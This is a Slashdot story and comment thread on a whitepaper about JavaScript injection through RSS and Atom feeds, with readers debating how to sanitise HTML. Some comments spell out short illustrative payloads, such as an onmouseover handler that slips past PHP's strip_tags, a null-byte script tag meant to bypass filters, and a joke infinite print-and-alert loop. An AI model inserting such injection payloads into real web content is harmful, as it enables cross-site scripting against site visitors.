Slashdot Mirror

← Back to Stories (view on slashdot.org)

RSS and Web Feeds a Risk?

Posted by ryuzaki0 on from the risk-around-every-cyber-corner dept.

A followup whitepaper [PDF] to a recent talk at the blackhat security conference has been released outlining the risks associated with web based feeds such as RSS and Atom. From the article: "Attackers could exploit the problem by setting up a malicious blog and enticing a user to subscribe to the RSS feed. More likely, however, they would add malicious JavaScript to the comments on a trusted blog, Auger said. "A lot of blogs will take user comments and stick them into their own RSS feeds," he said."

94 comments

  1. Huh? by Umbral+Blot · · Score: 5, Insightful

    Seems more like a problem with allowing javascript in comments (a really dumb idea) than a problem with RSS.

    --

    Philosophy.
    1. Re:Huh? by Anonymous Coward · · Score: 1, Insightful

      Thread over. :)

    2. Re:Huh? by StormReaver · · Score: 2, Insightful

      "Seems more like a problem with allowing javascript...."

      You could have stopped here, and have been even more correct.

    3. Re:Huh? by AVryhof · · Score: 3, Informative

      strip_tags SHOULD work ... then you have readers and web browsers that use the IE rendering engine that executes JavaScript whether it's in a script tag or not.

      Quite annoying if you ask me. It shouldn't be executed if the script tag or javascript: doesn't exist.

      That's why I always use a form of bbcode instead of html for comment forms.

      --
      Make America grate again!
    4. Re:Huh? by sporkmonger · · Score: 3, Interesting

      Eh, comments are just the most likely vector of attack. The real problem is with any feed parser that naively trusts the HTML. Parsers should be as secure as browsers, and for the most part, they aren't, because most of them are written by someone who not only hasn't read the specs but also was only planning to write the thing in 3 hours. (Heh, I've been working on my parser for over a year now.) That said, the risk of this becoming a real problem is rediculously low. Beyond that, this has been a known issue for ages. Several years ago, Mark Pilgrim used his feed and an insecurity in IE to force his readers to look at lots of platypuses, mainly to prove the point that it could be done. However, both my parser and Mark's, which are used in a fairly significant number of different programs, completely strip out all elements that aren't guaranteed to be safe. Plus, most of the feed readers that were actually mentioned as being vulnerable to certain attacks have been reasonably quick to correct issues that are raised. The whole thing really just isn't worth sweating about, but it's certainly nice to have awareness of the issue raised among people who didn't know it was a problem.

    5. Re:Huh? by piranha(jpl) · · Score: 1

      PHP is limiting the way you consider solving the problem. Just because strip_tags() doesn't do the trick for MSIE doesn't mean there's no reliable way. This is the function PHP needs to bundle in its standard library.

    6. Re:Huh? by Sepodati · · Score: 3, Interesting

      strip_tags() is one of the most worthless functions PHP offers. First, it gets rid of evil, nasty, harmfull code such as or . Why do you have to jack up the text that the user wrote when there's no need? There are much better functions or methods to escape and not parse JavaScript or HTML, such as htmlentities() or htmlspecialchars() for two.

      The second issue is with the "allowed tags" attribute of strip_tags. You may think to yourself that allowing , , tags, etc. is pretty harmless. Except that there's still no checking on the attributes of those tags. I can include a mouse over me! and strip_tags will happily allow that through and you think you're safe by only allowing a couple of harmless tags.

      This whole article is just another example of blaming the technology instead of the shitty programmers who implement it.

      ---John Holmes...

    7. Re:Huh? by Sepodati · · Score: 2, Interesting

      strip_tags() is one of the most worthless functions PHP offers. First, it gets rid of evil, nasty, harmfull code such as or . Why do you have to jack up the text that the user wrote when there's no need? There are much better functions or methods to escape and not parse JavaScript or HTML, such as htmlentities() or htmlspecialchars() for two.

      The second issue is with the "allowed tags" attribute of strip_tags. You may think to yourself that allowing <b>, <i>, <strong> tags, etc. is pretty harmless. Except that there's still no checking on the attributes of those tags. I can include a <b onmouseover="whatever_javascript();">mouse over me!</b> and strip_tags will happily allow that through and you think you're safe by only allowing a couple of harmless tags.

      This whole article is just another example of blaming the technology instead of the shitty programmers who implement it.

      ---John Holmes...

    8. Re:Huh? by baadger · · Score: 1

      ... someone needs to learn about < and >

    9. Re:Huh? by Sepodati · · Score: 1

      see my other reply... "plain old text" means something different to me than it does to slashcode, I guess...

    10. Re:Huh? by ThePhilips · · Score: 1

      +10. Seems like time have come to implement subset of X/HTML w/o any bells and whistles - object/scrip included. As wide as X/HTML is used now that could become serious problem sooner than later. (E.g. many Mozilla problems fall into that category: JavaScript is run were it wasn't expected to be run.) Just like ActiveX now widely used by by spy/mal/ware: all what the little worms need to do is to tell IE to render some particular web page, in few easy steps ActiveX is launched and your PC is - voila! - already infected. JavaScript isn't powerful enough to create as much problems as ActiveX is capable of, but I do think that it is UNwise to allow plain message with pictures/links - what most of programmers want of HTML renderer - to do anything more than render plain message with pictures/links.

      --
      All hope abandon ye who enter here.
    11. Re:Huh? by Crayon+Kid · · Score: 1

      What you're describing is basically a blacklist of all the ways that JavaScript could make its way into HTML. Blacklisting is a very poor security method, because it makes you chase your tail indefinitely, including more and more badware into your list with no end in sight. It didn't work for antiviruses and antispyware and it's not going to work here, although there are people crazy enough to try. If anything, this is treating the symptoms, not what the GP proposed.

      Furthermore, your approach relies on a pretty wild presumption: that the source is properly structured HTML. If HTML was properly structured they wouldn't have had to invent XHTML instead. Plus, today's browsers will try to interpret both XHTML and HTML even if they're not structured properly, so invalid [X]HTML still becomes a JavaScript carrier and your blacklist enterprise is doomed to a neverending journey of catching all the possible ways of abusing this markup. Good luck with that.

      For what it's worth, there is already a very good implementation of this idea, called Kses. It's a very thorough filtering library, it's being used internally by WordPress, and still hasn't stopped recent versions of WordPress 2.x from suffering from this kind of security vulnerability.

      By contrast, consider the whitelist approach proposed by strip_tags + BBcode. You use strip_tags and thus you wipe clean every trace of JS exploit attempt. Then you interpret BBcode in a controlled manner, a markup which has no way of being interpreted in "creative" ways should it escape as is into a browser. And you're done.

      That is what I call secure and simple. Simple is good, because it's not complex. The more complex the solution, the more chance for mistakes which allow for security holes.

      --
      i ate crayons when i was a kid and now i have two braincells and the blue ones taste nicer
    12. Re:Huh? by Crayon+Kid · · Score: 1

      strip_tags() is just a shortcut. You can obtain the same effect with a regular expression. Since you're talking about "bad programmers", how about not blaming PHP creators but instead blame whoever relies on strip_tags blindly. The limitations of this functions are pretty clearly explained in the manual. If someone uses it thinking it will end JavaScript injection, it's their own fault for assuming that.

      --
      i ate crayons when i was a kid and now i have two braincells and the blue ones taste nicer
    13. Re:Huh? by biffta · · Score: 1

      I think we should all calm down a bit. JavaScript can make web pages more fun. We should start giving the users more trust and let the emphasis be on them not to put bad ActiveX and JS in their submissions. Who's with me???

    14. Re:Huh? by Richy_T · · Score: 2, Insightful

      An RSS feed does not include HTML. The issue is therefore that any reader that interprets the feed directly should not process any HTML tags (and hence not interpret Javascript) and any agregator that takes a feed and inserts it into an HTML page should escape all HTML special characters.

      That is not to say that the feed can not contain HTML characters, a deiscription "Microsoft says the <a> tag to be depreciated in Vista" is fully valid but should be treated as plain text, *not* html.

      Sites which take formatting from their headlines and/or descriptions and include them in the RSS feed *are* broken but the real security bug lies where the text within is not treated as plain text by whatever reads the feed.

      Rich

    15. Re:Huh? by TheShadowzero · · Score: 1
      Simple is good, because it's not complex.
      Occam's razor. Good point.
      --
      If history repeats itself, why can't we study the future?
    16. Re:Huh? by nxt · · Score: 1

      I'd say it's a problem of Feedreaders instead of RSS itself. You could write the say for email: some can send a HTML email with script tag inside. Problem is the execution of this script in clients environment. If a restaurant pours gasoline into someones bottle of a cola - it's hardly a cola problem....

    17. Re:Huh? by Richy_T · · Score: 1

      Actually, I spoke to soon since < and > are valid XML characters. It's been a while since I worked with XML closely so I'm not sure what the correct way to handle them are. Most of the point still stands though, the fields should be treated as XML encoded plain text.

      Rich

    18. Re:Huh? by Fweeky · · Score: 1
      "If HTML was properly structured they wouldn't have had to invent XHTML instead"

      That sounds pretty fallacious. Try again?

      "For what it's worth, there is already a very good implementation of this idea, called Kses. It's a very thorough filtering library, it's being used internally by WordPress, and still hasn't stopped recent versions of WordPress 2.x from suffering from this kind of security vulnerability."

      What was it that the post the parent linked to said? Ah yes: "The cause is not thinking of and treating your HTML input as structured data. Rather, you're thinking of it as a character stream. Textual substitutions are a sign of that line of thought." Guess what Kses does?

      "Then you interpret BBcode in a controlled manner"

      How is that any better than interpreting (pseudo)HTML in a controlled manner? Especially when the vast majority of BBcode style engines are simply hideous regexp replacement hacks. At the end of the day you want to parse the document into an intermediate form which is nothing but plaintext and data structures identifying the elements, attributes and values you support, which you then serialize into whatever output format you need. Anything else is inviting creative ways to bypass or otherwise break your ad-hoc text replacements.
    19. Re:Huh? by piranha(jpl) · · Score: 1

      What you're describing is basically a blacklist of all the ways that JavaScript could make its way into HTML.

      You don't seem to understand what I proposed. I'm describing building a whitelist of allowable HTML elements in a document. And advising you to make informed decisions on whether to support certain elements and attributes, erring on the side of not supporting them for the sake of security.

      As an example, many know that Javascript can be included, legally, in CSS. Let's say we're implementing the system I described in a pre-CSS-dominance world. We aren't familiar with the <style> element (even though it is defined in HTML), so we decide not to worry about formally parsing CSS—we simply discard <style> elements. We can choose to throw away the <style> element entirely, or include its content in place of the element. The result, 3 years and zero software releases later: someone tries a Javascript-URI-in-CSS exploit and falls on their face because without <style>, the browser doesn't interpret the intended CSS stylesheet as CSS.

      Furthermore, your approach relies on a pretty wild presumption: that the source is properly structured HTML.

      The BBcode approach relies on a pretty wild presumption: that the source is properly structured BBcode. (Remark: HTML and BBcode are both markup languages. Exercise: which has the most variety of lenient parsers? Which has been proven? Which is formally defined?)

      Today's browsers will try to interpret both XHTML and HTML even if they're not structured properly, so invalid [X]HTML still becomes a JavaScript carrier and your blacklist enterprise is doomed to a neverending journey of catching all the possible ways of abusing this markup. Good luck with that.

      You really missed the point. It doesn't matter if the system I described uses a lax parser or a strict parser. Because the parser generates a data structure, and because it is the data structure which is manipulated, and because the output of the system is always well-formed HTML or XHTML from an HTML or XML serializer, there's no risk of Internet Explorer misinterpreting any not-well-formed data. Such data is sanitized by virtue of the design of the system. As an example, consider an HTML fragment: <script\x00 type="...">...</script> (I don't know if this is a real MSIE vulnerability, but it is close to one.) This system will either:

      • Pretend it didn't see the bogus <script\x00> open-tag, and skip the non-matching </script> close-tag. No danger.
      • Interpret it as an actual <script> element, which will be filtered by the higher-level logic. No danger.
      • Interpret it as the literal text "<script\x00>", which will correctly be reserialized upon output to &lt;strong&#0;&gt;. No danger.

      [kses] is a very thorough filtering library, it's being used internally by WordPress, and still hasn't stopped recent versions of WordPress 2.x from suffering from this kind of security vulnerability.

      Can you provide a reference? I couldn't find any information about this vulnerability.

      By contrast, consider the whitelist approach proposed by strip_tags + BBcode. You use strip_tags and thus you wipe clean every trace of JS exploit attempt. Then you interpret BBcode in a controlled manner, a markup which has no way of being interpreted in "creative" ways should it escape as is into a browser.

      To implement that in a way that results in well-formed HTML or XHTML, you would have to parse the BBcode and serialize the resulting data

  2. Old technique, new medium by fosterNutrition · · Score: 5, Insightful

    Not to be the jerk here, but it really shouldn't be that big of a news story that some people discussed the idea that it might not be the best security practice to allow unvalidated user input.

    Nobody would think of performing no kind of checking on things submitted into a plain old text box, so why would it be safe just because it's now in the "synergetic web 2.0 blogosphere of community-driven empowerment through technology"

    Oh well, still a moderately interesting article...

    1. Re:Old technique, new medium by Bogtha · · Score: 4, Informative

      Not to be the jerk here, but it really shouldn't be that big of a news story that some people discussed the idea that it might not be the best security practice to allow unvalidated user input.

      Exactly. This is a minor variation on the same old mistakes web developers usually make. It's just that a lot of developers seem to have forgotten that Atom and RSS feeds need to be sanitised just as much as any other untrusted input.

      This is by no means a new concept; off the top of my head, I remember Mark Pilgrim talking about this three years ago, and I remember thinking how damn obvious it was back then and being surprised that it was news to people.

      I think one of the contributing factors is that a lot of borderline incompetent developers have learned to sanitise form input not because they understand the problem, but because they've simply had it hammered into their heads that they need to sanitise stuff that comes in through forms. Given a different form of input with exactly the same problem, they don't recognise that they need to sanitise it because it's not coming in through a form. They haven't learned why the problem exists, they've just memorised "form data == sanitise".

      --
      Bogtha Bogtha Bogtha
    2. Re:Old technique, new medium by darkewolf · · Score: 4, Interesting

      Funnily enough, part of an extension to a project the company I am at is working on, is for users to be able to import their external blog feeds into the blog on the site. Basically so they don't need to type the same blog information in two different places. Easy to do. And even before looking at the output of some places like BlogSpot, it was mandated to sanitize the output to using just basic HTML (P, BR, stripped down IMG, stripped down A) and nothing else. Yes, they will lose some formatting that places like blogspot allows, but so much saner.

      So in the real world, a lot of sensible developers understand the problem with risky external input, although lots of baby-developers haven't had enough experience to get jaded and never trust users. Security thoughts come from age and being cynical.

      But either way, the Web2.0 look irks me :P

      --
      "That is not dead which can eternal lie...."
      Nimheil
    3. Re:Old technique, new medium by quis · · Score: 1

      Lilina might well be what you're looking for to aggregate those blogs...

  3. So.. by Tracer_Bullet82 · · Score: 5, Insightful

    If I trust someone and let them have free access to my house, there's a chance one day they'll swipe every thing from it and load into a truck..

    just because something is some kind of "new" technology does not mean any different..

    use common sense and intelligence.

    --


    Timang tinggi tinggi
    parang sudah asah
    alang alang mandi
    biar sampai basah
    1. Re:So.. by truthsearch · · Score: 5, Funny

      That's a bad analogy. The internet's more like a series of tubes than a truck... oh, um, forget it.

      --
      Developers: We can use your help.
    2. Re:So.. by thealsir · · Score: 1

      One of the basic security concepts: Don't trust the user. Don't ever trust the user. Assume the user is a cracker wanting to cause harm. Then you remember to htmlchar all javascript attempts so the browser can't interpret them.

      --
      Do not downmod posts "overrated" simply because you disagree with them.
    3. Re:So.. by Zelbinian · · Score: 2, Insightful

      Someone wiser than I once said "Common sense is not that common."

      --
      Putting the 33k in G33k.
  4. Bloglines by TheOtherChimeraTwin · · Score: 3, Informative

    It turns out that Bloglines was notified in advance by SPI Dynamics about the problem, and took steps to fix the problem the same day. Nicely done by both parties!

  5. Security by Anonymous Coward · · Score: 0

    Wouldn't RSS over XMPP be better.

  6. Heh by Andrew+Kismet · · Score: 5, Funny

    Isn't it amusing I found this article by using /.'s own RSS fee!"$%&() ****NO CARRIER****

    1. Re:Heh by MobileTatsu-NJG · · Score: 1

      "Isn't it amusing I found this article by using /.'s own RSS fee!"$%&() ****NO CARRIER****"

      Yeah, Slashdot's RSS feature banned me a few times, too.

      --

      "I like to lick butts!" by MobileTatsu-NJG (#32700246) (Score:5, Informative)

    2. Re:Heh by mrkitty · · Score: 1, Funny

      Yes you're so owned.

      --
      Believe me, if I started murdering people, there would be none of you left.
    3. Re:Heh by Tankko · · Score: 1

      >>Isn't it amusing I found this article by using /.'s own RSS fee!"$%&() ****NO CARRIER****

      Why are you still using dial-up?

  7. What sensible feed aggregator allows javascript? by jZnat · · Score: 2, Insightful

    That's like allowing javascript in HTML email. Any sensible aggregator (and mail cient) disables all javascript by default.

    Someone please reassure me that Vista's aggregator does so as well. In fact, can anyone even refer to an aggregator that parses and enables javascript? I can't begin to think of where to find one.

    --
    'Yes, firefox is indeed greater than women. Can women block pops up for you? No. Can Firefox show you naked women? Yes.'
  8. They saw it coming! by bruno.fatia · · Score: 3, Insightful

    If I can remote execute code, I can remote execute malicious code. Nothing new please move along

  9. What about Microsoft? by 1sockchuck · · Score: 1

    The big issue on RSS security is Microsoft's integration of RSS into Vista. Given hackers' success targeting e-mail and browsers weaknesses, will Microsoft's implementation of RSS be better? Let's hope so. Netcraft wrote about this more than a year ago, but there's been very little discussion since. It's trivial to spoof and augment a feed. Rather than trying to target weaknesses in individual RSS readers, there's a single Microsoft implementation to test and attack. It's a game changer in terms of RSS' potential usefulness as a malware delivery channel.

    1. Re:What about Microsoft? by liangzai · · Score: 1

      No, this is not a Microsoft problem. RSS is already integrated since long in Safari, and whatever Safari can do, RSS can also do, and should be able to do. It is a general security problem that is part of the browser security aspect.

      Since most people (me excluded) use pre-fabbed blog tools like Wordpress or online blog services, most feeds should already be sanitized.

      Microsoft just have to make browser and email security a top issue in Vista, and disable most services (especially automatic execution) by default.

  10. don't trust input by Kevinv · · Score: 1

    forms (comment or otherwise) shouldn't trust input from users, javascript & html should be filtered out.

    RSS feeds shouldn't trust input from other systems, javascript & html should be filtered out.

    or to simplify, no program should trust input of any type (user input, data from files, data from databases) validate and filter it before using it. If it isn't a cross-script problem it's a buffer overflow problem.

  11. The slides can be found here by Anonymous Coward · · Score: 3, Informative


    RSS Security Slides

  12. #4 on the Threatdown - Refrigerators by richdun · · Score: 1

    Isn't everything that allows for a not easily listed number of possible inputs/outputs (like a blog, as opposed to a "yes/no" question) possibly a security risk if you don't clamp down on what is done with those inputs/outputs? I like that people are discussing this sort of thing and hopefully encouraging other to prevent this, but once again the /. title makes it sound like all RSS feeds are a risk - when really, just the unsecured, unvalidated ones are.

  13. So..Carry and cash. by Anonymous Coward · · Score: 1, Funny

    "If I trust someone and let them have free access to my house, there's a chance one day they'll swipe every thing from it and load into a truck.."

    Excuse me, Tracer. You can keep the underwear.

  14. Validation is the only problem by DivineOmega · · Score: 3, Insightful

    The technology behind web feeds such as RSS and Atom (if you can call an XML file a 'technology') is perfectly safe, it is merely the content of the feed itself which can cause problems.

    No one can stop a malicious user from setting up their own feed containing dangerous feeds. However, for existing blogs and weblogs, the validation methods to prevent the input of code and script into comment fields has been around and known about for several years.

    1. Re:Validation is the only problem by rapidweather · · Score: 1

      I've placed RSS feeds in Opera 9.01 (Build 400) and in Mozilla Firefox 1.5.0.6 in my knoppix remaster. Since this is a livecd linux, I wonder how these feeds, enabled by default to download the feed stories when the browsers start up, might be a security risk.
      I'm only using feeds like FoxNews, Google News, Yahoo News, CNN News, and of course, Slashdot. There are 13 in Opera, and 9 in Firefox.
      The user can quickly set up additional feeds, I am sure. These may link to sites that are not trusted, I suppose.

      Here's my Blog.
      I have more details there on RSS for the browsers in a livecd linux.

      -- Rapidweather

      --
      Rapidweather's Linux Screenshots.
  15. Re:What sensible feed aggregator allows javascript by nwbvt · · Score: 2, Insightful

    From the article:

    SPI Dynamics examined a number of online and offline applications used to read RSS and Atom feeds. In many cases any JavaScript code delivered on the feed would run on the user's PC, meaning it could be vulnerable to attack, Auger said.

    They don't name names, but it does seem like a number of aggregators do support JavaScript. And when the day comes where someone develops a "Web 2.0 AJAX enabled blog", there will be pressure for more and more aggregators to support JavaScript (likely it will be an option that can be disabled, but who is going to do that if it means they cannot access certain features on certain blogs).

    This is just one more reason I hate Javascript.

    --
    Mathematics is made of 50 percent formulas, 50 percent proofs, and 50 percent imagination.
  16. summary: by Anonymous Coward · · Score: 0

    blah blah feeds can contain HTML and JS OMG blah blah it's moronic to allow arbitrary html/js in comments blah blah IE might have an exploitable JS engine blah blah.

    In short, RSS feeds from broken sites are as much a problem as the broken sites themselves.

    Also, in what sense is "JavaScript is a scripting language that experts say is increasingly causing security concerns."? It's been around for 11 years, and it seems to be far less of an issue than Yet Another 0-day Remote Exploit In MS Software or even IE/FF flaws.

  17. Can't be that high risk. by kbox · · Score: 1

    It can't be that much of a risk. I haven't heard of a single instance of this happening in the entire time that RSS has been available...

    --
    God Be Gone
  18. Simple rule for input by fractalVisionz · · Score: 4, Insightful

    Never let input go unchecked. If you do, you are already screwed.

  19. Re:What sensible feed aggregator allows javascript by jZnat · · Score: 1

    The point of feeds is to get just the content without all the crap (including ads and CSS). If more people would make their feeds right, this wouldn't really be a problem. There's no point in using more than links via the "a" element, images via the "img" element in a feed, separating paragraphs via the "p" element, and the occasional semantic elements like "strong", "em", "ins", and "del".

    --
    'Yes, firefox is indeed greater than women. Can women block pops up for you? No. Can Firefox show you naked women? Yes.'
  20. You're missing the point - it's about the "reader" by hutchike · · Score: 3, Insightful

    It doesn't matter whether we're looking at published blog entries or comments, anything that is fed via RSS or Atom can move JavaScript (for good or bad) - and what the article makes clear is that the problem lies in the news reader programs themselves. They simply don't apply the same level of security you might expect from Mozilla (Firefox), Safari, Opera, Internet Explorer, etc...

    The bottom line here is that RSS/Atom reader programs need to apply similar security checks to those performed by popular secure web browsers.

    RTFA ;-)

    --
    Zen tips: Pay attention. Don't take it personally. Believe nothing.
  21. Oh God by The+MAZZTer · · Score: 4, Insightful

    I can write virii in C++! It's a C++ vulnerability!

    Seriously, this is dumb. It is not a problem with RSS/Atom, it is a problem with RSS/Atom viewers that allow JavaScript code to be executed!

    Within the context of a web-based viewer this could be a problem, but then again it's no more of a problem than if you go to a questionable site with bad JavaScript. For a browser-based viewer it's simply a matter of the devs remembering to turn off JavaScript support for RSS/Atom feeds.

    And in desktop-based viewers... I mean really, who would be stupid enough to even consider implementing JavaScript in one. And if it only does because the programmer took the lazy route and is using a WebControl in the background, well they might want to consider a different method that will actually give them some measure of CONTROL.

    Speaking of poorly coded, I wonder if we'll see IE exploits arising from embedded ActiveX controls in RSS feeds, those would cause far more damage than while (1) { window.print(); window.alert("LOL INTERNET"); }.

    1. Re:Oh God by Habbie · · Score: 1, Offtopic

      Dude, they're called VIRUSES. Saying 'virii' makes you look like a total fool.

    2. Re:Oh God by Anonymous Coward · · Score: 0

      Who cares what he wants to call them?

    3. Re:Oh God by piranha(jpl) · · Score: 1

      Feed formats are a vector for vulnerability. The proper analogy isn't "C++ is evil," it is "throwing feeds on your site without sanitization is as bright as running arbitrary executables from the Internet."

      Pulling the Javascript, plugin, and ActiveX junk out of arbitrary XML data is much less trivial than "remembering to turn off JavaScript support." There is no such check box. This is apparently hard to get right, judging by the rash of XSS bugs. There needs to be the equivalent of such a check box in any library that is tempting to use for Web development.

      On "LOL INTERNET": I hope you were being facetious. XSS is much more dangerous than that.

    4. Re:Oh God by Anonymous Coward · · Score: 0

      For goodness sake. Next you'll be trying to persued us that boxen isn't a valid plural of box when used refer to computer hardware.

  22. Re:RSS Feed: Jews are the enemy! by Anonymous Coward · · Score: 4, Funny

    You were awesome in Braveheart.

  23. Except that it CAN be virii by The+MAZZTer · · Score: 1

    http://www.google.com/search?q=define%3Avirii&ie=u tf-8&oe=utf-8&rls=org.mozilla:en-US:official&hl=en -US&client=firefox-a

    1. Re:Except that it CAN be virii by xenoandroid · · Score: 2, Insightful

      "No reputable printed dictionary includes them as correct forms. "

      VIRII is NOT a word.

    2. Re:Except that it CAN be virii by Anonymous Coward · · Score: 1, Insightful

      You do realise that Wikipedia isn't an authorative source, don't you? And even if you trust Wikipedia as a source, if you read further:

      In the English language, the standard plural of virus is viruses. This is the most frequently occurring form of the plural, and refers to both a biological virus and a computer virus.

      The less frequent variations viri and virii are virtually unknown in edited prose, and no major dictionary recognizes them as alternative forms.

  24. Bogus by Nijika · · Score: 4, Funny

    NEWSFLASH: Hackers MAY set up websites and services to lure victims! Film at 11.

    --
    Luck favors the prepared, darling.
    1. Re:Bogus by Finneh · · Score: 1

      NEWSFLASH: If you are stupid enough to fall for a website and service like that than you shouldn't even be running an RSS feed to begin with!

      --
      I'm an asshole. Yes, I know.
  25. Just encode it, that's what I do by chudik · · Score: 2, Insightful

    This is the case where I subscribe to the school of thought that the RSS description element should have no markup. The original purpose of RSS was not to distribute whole articles but only describe them and provide a link.

    1. Re:Just encode it, that's what I do by Richy_T · · Score: 1

      Here's the issue though... Say the field is supposed to have no markup. "<" and ">" are now valid characters. That means is is now the browser's fault if it interprets the tags as valid HTML (and thus capable of containing Javascript).

      I don't know how to read XML document templates well enough. Can anyone confirm or deny if the elements are supposed to be able to contain HTML markup or whether they should be treated as plain text?

      Rich

    2. Re:Just encode it, that's what I do by chudik · · Score: 1

      That's why it should be encoded even if it's not supposed to have markup. I encode the title and anything else that gets displayed directly from the input.

    3. Re:Just encode it, that's what I do by Richy_T · · Score: 1

      It depends where you encode it. I've seen where people HTML escape input before putting it into a database which has cause problems later. Input should be validated and stored raw in a database (passed suitably escaped for database input of course) HTMLencoding should be reserved for the output since you don't necessarily know that HTML is what you will need to output.

      Then again, there are situations where you may want to output HTML that has been input. That is easier to decide on the output side of things than the input.

      Of course, that may be what you are doing. It's not clear from what you wrote.

      Rich

    4. Re:Just encode it, that's what I do by chudik · · Score: 1

      Agreed.

      However, in my case it's not applicable. Maybe I should have clarified from the start that I'm working on an RSS Reader (a SharePoint web part derived from this one). So my content comes from feeds, not a database.

  26. Color me stupid... by Zaphod2016 · · Score: 4, Interesting

    ...but why would anyone *want* to include JavaScript in an RSS feed? Other than showing ads or annoying viewers, what possible purpose would it serve?

    And, as someone above suggested, what the hell is a "Web 2.0" RSS feed? Even if I used AJAX to make a nice-n-pretty UI for my blog, that still wouldn't explain why I would use JavaScript for my RSS feed.

    --
    barack to the future?
    1. Re:Color me stupid... by bytesex · · Score: 1

      Uhm. I think you can figure out what a 'web 2.0' rss feed is. I too, hate the term, but I presume that what we have here is a situation wherein a xmlhttprequest is forged, sent to the server, to beget a bitty of text from the rss producing server. All live and pronto onto your page, without intervention from the server that produced you. As opposed to a page which contains the information from the feed static, as produced by the webserver. Nothing exotic these days. Who would. Why - someone malicious, of course !

      --
      Religion is what happens when nature strikes and groupthink goes wrong.
    2. Re:Color me stupid... by Zaphod2016 · · Score: 1

      Say I wanted to create a simple program to check /.'s RSS feeds every 15 minutes. I might design something web-based, using XmlHttpRequest. However, this function is part of my aggregator- I still see no valid reason to include this script within the XML document itself.

      Isn't the whole point of XML to provide the raw content in a simple format? Seems to me "less is more".

      --
      barack to the future?
  27. The question is... by Gunfighter · · Score: 1

    ... how many RSS readers are actually going to heed the advice and include a function to strip the tag (or any other tags that could potentially be harmful) and enable it by default? Given the number of RSS readers out there (both web and desktop based), I don't see this happening en masse anytime soon. Pity though... obviously it's a risk that can be avoided.

    --
    -- Stu

    /. ID under 2,000. I feel old now.
    1. Re:The question is... by sporkmonger · · Score: 1

      The feed reader I use does, as does the feed parser that I wrote. It's common practice actually. This whitepaper merely identified all the stupid programmers.

  28. In Case You Wanted RSS Comments ... by thetan · · Score: 2, Informative
    "A lot of blogs will take user comments and stick them into their own RSS feeds," he said.

    Blogger doesn't (directly) support comment feeds. If you're interested in setting this up on your Blogspot blog (so you can, for example, get truly recent comments), check out this bloghacking wiki.

    I can't vouch for the security of these methods, though.

    -Thetan.

    1. Re:In Case You Wanted RSS Comments ... by giafly · · Score: 1

      A lot of user's comments should be stuck in their own RSS feeds.

      --
      Reduce, reuse, cycle
  29. I blog with malice! by identity0 · · Score: 1

    This paper was so worth it, if only for inventing the term "Malicious blog". I can only imagine an army of teenage girls cracking their ex-boyfriend's computer by embedding exploits into their melodramatic poetry.

    Mood: h4xx0r

  30. elmer FUD by Doomedsnowball · · Score: 1

    It's wabbit season! Oh my god! Everything of value is vulnerable! Air and water are a threat! Did you hear? Speach, human voice, could contain mistruths and even outright lies! If you take candy from a stranger, you could end up molested and dead! No S**t Sherlock. I'm sorry, but did somebody release some technology in the last 30 years that wasn't vulnerable to malicious use? And to say that people have to take idiotic steps to make themselves vulnerable is kinda a red flag, don't you think? Javascript doesn't steal your personal information, hackers steal your personal information. Hmmm... that sounds sorta familiar... where's my bulletproof firewall?

    --
    7h3$3 4r3n'7 7h3 Ðr01Ð$ ¥0 4r3 £00|{1n9 f0r. M0v3 4£0n9. --OB1
  31. Hardly something new... by DrYak · · Score: 1

    One should copy-paste comment blocks from RSS directly into a webpage, without either validating content or striping tags. Otherwise, at least it's highly likely that the page style will get broken.

    That's hardly news.

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
  32. RSStool by Anonymous Coward · · Score: 0

    RSStool will filter such crap with the next release. http://rsstool.berlios.de/

  33. Podcast files could contain virusses by giafly · · Score: 1

    World to end unless you buy stuff from the authors

    Just predicting next week's USA Today exclusive.

    --
    Reduce, reuse, cycle
  34. Isn't the problem client side? by JesperJ · · Score: 1

    The problem is not whether JavaScript should be accepted or not, but rather how can we improve the browsers and the feed readers. The readers for the first instance should not be parsing JavaScript at all, problem solved there. But even more important; browsers should not be able to parse malicious JS code. If only the browsers and the client side would be mended not not to parse evil JavaScript these kind of news would never appear again. :-)

  35. Re:RSS Feed: Jews are the enemy! by JesperJ · · Score: 1

    I understand why you chose to post anonymous not to mention "Off Topic". :p

  36. Not a big deal right now by kolme · · Score: 1

    The problem with malware and other stuff is that they trick the user into doing something stupid, ie running an executable attachment or visiting some malicious web with IE. Any experienced user wouldn't do that.

    Suscribing to a RSS feed isn't what the average user do, and I don't think you'd do it without realizing. Most people won't even have a RSS reader installed.

    But wait until Vista have mass adoption. It'll have RSS everywhere and average users will start to use it. Then there will be a problem.

    --
    $ whoami
  37. Re:What sensible feed aggregator allows javascript by Anonymous Coward · · Score: 0

    That's like allowing javascript in HTML email.

    It's like allowing Javascript period. Web sites you intend to visit can be just as malicious as email, RSS feeds, user input, or Web sites you don't intend to visit. You shouldn't be automatically executing code you get off the Net at all. Javascript was a bad idea from the start. Why do we still tolerate it?

  38. Re:What sensible feed aggregator allows javascript by Fred_A · · Score: 1

    Indeed there is no point, but if the client software supports it then adding programatically rich content is a risk that can be exploited. Even if sensible feed programs strip risky content, someone can easily code a feed that feeds dangerous data or a popular site can be compromised.

    Bottom line is RSS readers must be as tight as tight web browsers (that is preferably not based on IE).

    --

    May contain traces of nut.
    Made from the freshest electrons.
  39. Unless... by Zaphod2016 · · Score: 1

    A thought just occured to me- if I was running a site dealing with, say, Google Maps, I might have reason to include JavaScripts, but only if I wanted to "broadcast" the maps via XML. But would this feed work with FeedGator, Netvibes, etc, etc? In other words, even if I was to setup my XML in this manner, would any of my readers be able to benefit from it?

    Instinct says no.

    --
    barack to the future?
  40. Bigger Picture by Anonymous Coward · · Score: 0

    This is about more then just the users who subscribe to RSS feeds through readers. It affects a lot more. I wrote a paper on this last year because Yahoo was vulnerable to letting bad feeds be added to its' website, which I bet you a lot more people will click a button saying "add this feed to My Yahoo!"

    It is important to get the message out to all levels of people who plan on doing anything with RSS feeds that they can not be trusted at all and must be sanitized fully. Especially if you are going to allow a user to customize your site and add feeds to it, cause now whatever malicious code get's in those feeds it's running as you.

    http://seclists.org/bugtraq/2005/Oct/0205.html

    Cheers,
    Jeremy
    alljer at gmail.com

  41. I told you so by Prototerm · · Score: 1

    People gave me a lot of flack a while back, whan I objected to Microsoft wanting to incorporate RSS links into Vista. At the time, I claimed that Microsoft has a bad habit of linking unrelated things into the OS at a low level, resulting in what would otherwise be minor anoyances turning into system-wide disasters.

